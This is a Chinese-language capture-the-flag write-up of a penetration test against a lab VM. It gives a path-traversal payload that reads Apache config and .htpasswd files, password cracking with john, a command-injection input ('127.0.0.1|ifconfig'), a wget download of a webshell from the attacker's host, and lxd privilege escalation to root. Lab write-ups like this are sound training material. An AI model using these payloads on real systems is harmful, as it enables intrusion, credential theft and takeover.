完成对目标靶机的渗透测试,获取最终“flag”
(1)搭建实验环境;
(2)信息收集,找到靶机IP地址,探寻开放的服务端口
(3)渗透靶机拿到最终flag
将靶场文件解压,导入虚拟机,如果出现打不开的现象,修改.vmx结尾的文件,将里面的“virtualHW.version=”修改为自己虚拟机对应的版本。
在kali中查看IP地址,查看所属网段,使用nmap扫描存活主机。
namp -sP 192.168.50.0-254
回顾一下nmap的基本命令:
nmap -sS SYN扫描,使用最频繁,安全,快
nmap -sV 对端口号上的服务程序版本进行扫描
nmap -A 全面扫描,耗时长
nmap -n 表示不进行dns解析
这里通过扫描得到靶机IP为:192.168.50.173
1、使用nmap -A 命令对靶机进行全面扫描
网站容器为apache,操作系统为Linux,开放了80、22端口。
2、我们在浏览器打开网站看看有没有利用点,发现一个登录界面,根据页面提示注册用户并登录。根据页面提示信息,猜测应该有文件任意下载和文件包含漏洞,网站首页有个提示“welcome to xuezhuli filesharing”这里提示了是一个文件共享系统。先使用目录扫描测试看看有没有信息。
这里目录扫描忘记截图了,主要的就download.php webadmin 。这两个文件,webadmin是一个登录地址,并不知道账号密码。打开download发现下载了一个空文件,但后面传递参数的变量名不知道,我们可以用fuzz去测试,但我字典跑完了也没跑出来,转变思路,用kali去查找一下FileSharing这个漏洞。
把payload放到url里可以看到可以利用,但/etc/passwd里面密码进行了加密,并不知明文。在前面的信息收集过程中,知道了是Apache,于是读取一下apache配置文件。
payload:ip/download.php?file_name=../../../../../../../../../etc/apache2/sites-enabled/000-default.conf
读取发现由一个/var/www/html/webadmin目录跟一个配置文件目录,我们在上面也扫到了webadmin登录页面,两者应该有关联,读取/etc/apache2/.htpasswd。给了一个用户名和密码。
密码被加密,我们使用kali自带的john解密一下。
john是一款密码破解工具,在已知密文的情况下去尝试破解出明文,主要目的是破解不够牢固的unix、Linux系统密码。这里使用john工具并没有跑出来,根据靶场的提示知道需要用rock-you这个字典去解密,去github上下载下来上传到kali。
使用john命令再次尝试:
john --/usr/share/john/wordlists/rockyou-45.txt pass.txt
pass.txt文件里面就是获取到的用户名和密文密码
解密后得到明文
然后访问webadmin去登陆,登录成功,页面提示让找robots文件,打开发下给了两个目录,访问去查看,是一个pingIP的,猜测有命令执行,使用分割符 | 去执行,127.0.0.1|ifconfig
可以看到有返回信息。
既然有命令执行,我们尝试反弹shell,nc、bash、python 试了发现反弹不了,于是使用命令执行界面去使用wget去下载kali上的webshell文件,先在kali上开启http服务,
python -m http.server 1234
发下下载了,但是蚁剑连接不上,回头再看看另一个目录,上面说让找文件,猜测可能是这个目录下有隐藏文件,我们使用find命令去查找:
find . -type f /var/www/html/webadmin/SOmextras/
发现一个.sshUser的文件,在加上之前扫端口发现ssh端口开放,猜测是给的ssh登录用户
查看文件发现账号密码。拿去ssh登录
登录成功,看一下权限,不是root权限,尝试提权,这里介绍一款工具LinEnum ,把他上传到靶机,去执行,它可以自动检查Linux主机存在的SUID、GUID文件,Sudo/rhost错误配置等。可以查看本地有没有可以执行提权的漏洞。
这里使用wget上传,kali开启http服务
发现可以利用lxd进行提权,我们在kali里使用searchsploit lxd去查找漏洞。
意思也就是需要下载build-alpine、然后运行./build-alpine,将生成的文件上传到靶机即可得到root
给予该问价执行权限,在把46978.sh上传到靶机,给予权限,在同时执行。
./46978.sh -f alpine-v3.16-x86_64-20221105_0227.tar.gz
接下来去寻找flag文件
find / -name flag*
总结:需要熟悉apache配置文件路径
怎样查看隐藏文件
lxd提权的时候失败了很多次,一直没有找到问题所在,后来第二天早上睡醒,把靶机重置,在上传发现成功了。
还有在开启kalihttp服务的时候,使用 python -m SimpleHTTPServer 1234 这条命令的时候报错,后来在网上找了一下发现可以用 python -m http.server 1234替换。
还有在渗透测试过程中,要尝试转变思路,我就是前面一直在fuzz文件下载那个传递参数的变量。后来才想到文件共享系统的目录穿越漏洞。